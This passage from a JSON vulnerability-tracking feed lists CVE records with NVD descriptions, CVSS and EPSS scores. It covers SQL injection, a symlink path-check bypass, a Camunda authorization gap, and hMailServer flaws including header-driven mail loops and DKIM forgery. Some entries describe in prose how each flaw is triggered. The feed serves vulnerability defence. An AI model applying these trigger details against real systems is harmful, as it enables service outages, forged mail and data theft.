fixes.","publishedAt":"2026-10-19T16:17:05.917Z","updatedAt":"2026-10-19T20:43:24.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MikroTik"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112158","asOf":"2026-10-19T20:43:24.237Z"},"epss":{"probability":0.00334,"percentile":0.26529,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112158&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112158","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112158","type":"primary","publishedAt":"2026-10-19T16:17:05.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112158&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112158, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112153","cveId":"CVE-2026-112153","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This affects the function mysqli_error of the file...","summary":"A vulnerability was detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This affects the function mysqli_error of the file Officers/addOfficer.php of the component Officer Registration Form. Performing a manipulation of the argument offName/offID/ID/contact/gender/weapon/role results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. This affects the function mysqli_error of the file Officers/addOfficer.php of the component Officer Registration Form. Performing a manipulation of the argument offName/offID/ID/contact/gender/weapon/role results in sql injection. It is possible to initiate the attack remotely. The exploit is now public and may be used. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:05.567Z","updatedAt":"2026-10-19T20:43:24.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112153","asOf":"2026-10-19T20:43:24.237Z"},"epss":{"probability":0.00263,"percentile":0.17979,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112153&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112153","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112153","type":"primary","publishedAt":"2026-10-19T16:17:05.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112153&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112153, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112152","cveId":"CVE-2026-112152","aliases":[],"kind":"vulnerability","title":"A security vulnerability has been detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this issue is the function...","summary":"A security vulnerability has been detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this issue is the function mysqli_query of the file Officers/searchOff.php of the component Search Page. Such manipulation of the argument Search leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A security vulnerability has been detected in vraj404 Criminal-Management-System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this issue is the function mysqli_query of the file Officers/searchOff.php of the component Search Page. Such manipulation of the argument Search leads to sql injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:05.403Z","updatedAt":"2026-10-19T20:43:24.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112152","asOf":"2026-10-19T20:43:24.237Z"},"epss":{"probability":0.00328,"percentile":0.25713,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112152&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112152","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112152","type":"primary","publishedAt":"2026-10-19T16:17:05.403Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112152&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112152, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111045","cveId":"CVE-2026-111045","aliases":[],"kind":"vulnerability","title":"CLI Bridge provides filesystem access within a workspace root.","summary":"CLI Bridge provides filesystem access within a workspace root. Prior to 0.0.2, a dangling symlink pointing outside the workspace root bypasses resolveSafePath when fs.realpathSync throws ENOENT for a nonexistent target. The fallback resolves only the parent directory and returns the symlink path as safe, so write_file follows the link and can write arbitrary files outside the workspace root. This issue is fixed in version 0.0.2.","detail":"CLI Bridge provides filesystem access within a workspace root. Prior to 0.0.2, a dangling symlink pointing outside the workspace root bypasses resolveSafePath when fs.realpathSync throws ENOENT for a nonexistent target. The fallback resolves only the parent directory and returns the symlink path as safe, so write_file follows the link and can write arbitrary files outside the workspace root. This issue is fixed in version 0.0.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:03.183Z","updatedAt":"2026-10-19T21:14:14.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111045","asOf":"2026-10-19T21:14:14.150Z"},"epss":{"probability":0.00375,"percentile":0.31187,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111045&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111045","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111045","type":"primary","publishedAt":"2026-10-19T16:17:03.183Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111045&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111045, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109431","cveId":"CVE-2026-109431","aliases":[],"kind":"vulnerability","title":"Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains a missing authorization check vulnerability in engine-rest task sub-resources that allows authenticated attackers...","summary":"Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains a missing authorization check vulnerability in engine-rest task sub-resources that allows authenticated attackers with no permission grants to access task comments and attachments by calling singular read and delete endpoints that lack the authorization-filtered checks enforced on their corresponding list endpoints. Attackers can exploit TaskAttachmentResourceImpl and TaskCommentResourceImpl methods such as getAttachment, getAttachmentData, deleteAttachment, and getComment using only a known object ID to read, download, or permanently delete task attachments and comments.","detail":"Camunda 7.24.0 before 7.24.14 and 7.23.0 before 7.23.17 contains a missing authorization check vulnerability in engine-rest task sub-resources that allows authenticated attackers with no permission grants to access task comments and attachments by calling singular read and delete endpoints that lack the authorization-filtered checks enforced on their corresponding list endpoints. Attackers can exploit TaskAttachmentResourceImpl and TaskCommentResourceImpl methods such as getAttachment, getAttachmentData, deleteAttachment, and getComment using only a known object ID to read, download, or permanently delete task attachments and comments.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:02.337Z","updatedAt":"2026-10-19T21:13:39.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109431","asOf":"2026-10-19T21:13:39.973Z"},"epss":{"probability":0.00359,"percentile":0.2941,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109431&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109431","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109431","type":"primary","publishedAt":"2026-10-19T16:17:02.337Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109431&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109431, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107571","cveId":"CVE-2026-107571","aliases":[],"kind":"vulnerability","title":"Incorrect default permissions in the Windows installer of Progressive Robot hMailServer 6.0.0 through 6.3.6 allow a local authenticated user to run code as the mail server's...","summary":"Incorrect default permissions in the Windows installer of Progressive Robot hMailServer 6.0.0 through 6.3.6 allow a local authenticated user to run code as the mail server's high-privileged accounts when the product is installed in a folder whose permissions are inherited from a writable parent, such as the root of a drive. The installer places the server's programs in the Bin folder of the program folder and gives neither the program folder nor Bin any permissions of their own, so they inherit the parent's. Under the default location, Program Files, ordinary users receive only read and execute and the configuration is not affected; but the installer accepts any path without warning, and a program folder at the root of an NTFS volume inherits write access for a broad group - Authenticated Users (Modify) on a Windows client, Users (create files and folders) on Windows Server. A local user without administrator rights can then alter or replace the service program, which runs as LocalSystem or as the service's virtual account, or the programs an administrator runs elevated from Bin during setup and maintenance, or place a library in Bin that those programs load in place of the system copy, gaining code execution with those privileges. The default Program Files installation is not affected.","detail":"Incorrect default permissions in the Windows installer of Progressive Robot hMailServer 6.0.0 through 6.3.6 allow a local authenticated user to run code as the mail server's high-privileged accounts when the product is installed in a folder whose permissions are inherited from a writable parent, such as the root of a drive. The installer places the server's programs in the Bin folder of the program folder and gives neither the program folder nor Bin any permissions of their own, so they inherit the parent's. Under the default location, Program Files, ordinary users receive only read and execute and the configuration is not affected; but the installer accepts any path without warning, and a program folder at the root of an NTFS volume inherits write access for a broad group - Authenticated Users (Modify) on a Windows client, Users (create files and folders) on Windows Server. A local user without administrator rights can then alter or replace the service program, which runs as LocalSystem or as the service's virtual account, or the programs an administrator runs elevated from Bin during setup and maintenance, or place a library in Bin that those programs load in place of the system copy, gaining code execution with those privileges. The default Program Files installation is not affected.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:01.970Z","updatedAt":"2026-10-20T20:17:14.090Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107571","asOf":"2026-10-20T20:17:14.090Z"},"epss":{"probability":0.00102,"percentile":0.00929,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107571&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107571","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107571","type":"primary","publishedAt":"2026-10-19T16:17:01.970Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107571&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107571, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107569","cveId":"CVE-2026-107569","aliases":[],"kind":"vulnerability","title":"Unchecked input for a loop condition in Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to stop the server carrying mail.","summary":"Unchecked input for a loop condition in Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to stop the server carrying mail. The server bounds the mail it generates in response to a message - a rule forward, reply or copy, an account forward, a Sieve redirect, vacation or notify, a bounce, an out-of-office reply - by a counter it carries in the message's X-hMailServer-LoopCount header, and makes no more once the counter reaches the configured rule loop limit (5 by default); that is what ends a forwarding or auto-reply cycle in a bounded number of hops. X-hMailServer-LoopCount is an ordinary header that is not stripped from mail arriving from outside, and the server read it with a signed conversion and no validation, so a count below zero passed every test against the limit: a sender who sets X-hMailServer-LoopCount to a negative value, or on the Linux builds to a value above the 32-bit signed range that the conversion wraps to a negative one, lifts the bound, and a message that enters a generated-mail cycle then loops up to about two thousand million times, each hop a queued message and a delivery, filling the queue and disk and stopping mail service. The Sieve notify action (from 6.2.22) consulted no limit at all, and its increment of the count could overflow a signed integer; and an account could reset the counter on its own mail through a Sieve editheader of the header (from 6.2.22) or a rule Set header value action (all versions) ahead of a forward or redirect.","detail":"Unchecked input for a loop condition in Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to stop the server carrying mail. The server bounds the mail it generates in response to a message - a rule forward, reply or copy, an account forward, a Sieve redirect, vacation or notify, a bounce, an out-of-office reply - by a counter it carries in the message's X-hMailServer-LoopCount header, and makes no more once the counter reaches the configured rule loop limit (5 by default); that is what ends a forwarding or auto-reply cycle in a bounded number of hops. X-hMailServer-LoopCount is an ordinary header that is not stripped from mail arriving from outside, and the server read it with a signed conversion and no validation, so a count below zero passed every test against the limit: a sender who sets X-hMailServer-LoopCount to a negative value, or on the Linux builds to a value above the 32-bit signed range that the conversion wraps to a negative one, lifts the bound, and a message that enters a generated-mail cycle then loops up to about two thousand million times, each hop a queued message and a delivery, filling the queue and disk and stopping mail service. The Sieve notify action (from 6.2.22) consulted no limit at all, and its increment of the count could overflow a signed integer; and an account could reset the counter on its own mail through a Sieve editheader of the header (from 6.2.22) or a rule Set header value action (all versions) ahead of a forward or redirect.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:01.830Z","updatedAt":"2026-10-20T20:17:13.973Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107569","asOf":"2026-10-20T20:17:13.973Z"},"epss":{"probability":0.00372,"percentile":0.30862,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107569&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107569","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107569","type":"primary","publishedAt":"2026-10-19T16:17:01.830Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107569&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107569, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107567","cveId":"CVE-2026-107567","aliases":[],"kind":"vulnerability","title":"Use of a less trusted source in the DKIM signing of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to have mail they write signed with...","summary":"Use of a less trusted source in the DKIM signing of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to have mail they write signed with the DKIM key of a domain the server hosts, so that it passes DKIM and DMARC for that domain at other receivers. With DKIM signing enabled for a hosted domain, the server signed every message on its first delivery pass as the domain named in its From header, before local delivery, whatever the message's origin and without checking that its sender had authenticated. A sender anywhere could therefore send the server, as ordinary inbound mail, a message whose From is any address at such a domain, and the server signed it with that domain's key. Every copy the server then sent on to an address outside carried a valid signature aligned with the forged From, whatever the domain's DMARC policy: an account's forward, a mail rule's forward or copy, a Sieve redirect, an alias or distribution list with an outside member, the mirror copy, a managed-list or journal copy, or a message released from quarantine. A signed copy can also be re-sent to other recipients while the domain's key is unchanged. Exploitation needs DKIM signing to be enabled for the hosted domain (it is off until configured) and, for the forgery to leave the server, a forward, alias, list or rule that carries the domain's mail to an outside address. The signer likewise signed a message submitted over authenticated SMTP as whatever hosted domain its From header named, a header authenticated SMTP does not hold to the submitting account, so that an account of one hosted domain could have mail written in the name of another hosted domain signed with that domain's key; this mattered where the server holds signed-in senders to their own envelope addresses (SmtpAuthenticatedSenderCheck, off by default), as the signature was then the remaining way for such mail to pass the other domain's DMARC policy.","detail":"Use of a less trusted source in the DKIM signing of Progressive Robot hMailServer 6.0.0 through 6.3.6 allows a remote unauthenticated attacker to have mail they write signed with the DKIM key of a domain the server hosts, so that it passes DKIM and DMARC for that domain at other receivers. With DKIM signing enabled for a hosted domain, the server signed every message on its first delivery pass as the domain named in its From header, before local delivery, whatever the message's origin and without checking that its sender had authenticated. A sender anywhere could therefore send the server, as ordinary inbound mail, a message whose From is any address at such a domain, and the server signed it with that domain's key. Every copy the server then sent on to an address outside carried a valid signature aligned with the forged From, whatever the domain's DMARC policy: an account's forward, a mail rule's forward or copy, a Sieve redirect, an alias or distribution list with an outside member, the mirror copy, a managed-list or journal copy, or a message released from quarantine. A signed copy can also be re-sent to other recipients while the domain's key is unchanged. Exploitation needs DKIM signing to be enabled for the hosted domain (it is off until configured) and, for the forgery to leave the server, a forward, alias, list or rule that carries the domain's mail to an outside address. The signer likewise signed a message submitted over authenticated SMTP as whatever hosted domain its From header named, a header authenticated SMTP does not hold to the submitting account, so that an account of one hosted domain could have mail written in the name of another hosted domain signed with that domain's key; this mattered where the server holds signed-in senders to their own envelope addresses (SmtpAuthenticatedSenderCheck, off by default), as the signature was then the remaining way for such mail to pass the other domain's DMARC policy.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T16:17:01.587Z","updatedAt":"2026-10-20T20:17:13.707Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107567","asOf":"2026-10-20T20:17:13.707Z"},"epss":{"probability":0.00166,"percentile":0.0578,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107567&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107567","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107567","type":"primary","publishedAt":"2026-10-19T16:17:01.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107567&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107567, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112151","cveId":"CVE-2026-112151","aliases":[],"kind":"vulnerability","title":"A weakness has been identified in vraj404 Criminal Management System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this vulnerability is an unknown functionality of...","summary":"A weakness has been identified in vraj404 Criminal Management System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this vulnerability is an unknown functionality of the file home.php of the component Submission Form. This manipulation of the argument id/name/offName/crime/dob/arrDate/crimeDate/sex/address/folder/more causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A weakness has been identified in vraj404 Criminal Management System up to 2808d057e7ddc5295519a487365b0cacfd0ba8c4. Affected by this vulnerability is an unknown functionality of the file home.php of the component Submission Form. This manipulation of the argument id/name/offName/crime/dob/arrDate/crimeDate/sex/address/folder/more causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks. This product adopts a rolling release strategy to maintain continuous delivery. Therefore, version details for affected or updated releases cannot be specified. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-19T15:17:05.207Z","updatedAt":"2026-10-19T20:43:24.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112151","asOf":"2026-10-19T20:43:24.237Z"},"epss":{"probability":0.00254,"percentile":0.16755,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112151&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112151","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112151","type":"primary","publishedAt":"2026-10-19T15:17:05.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence 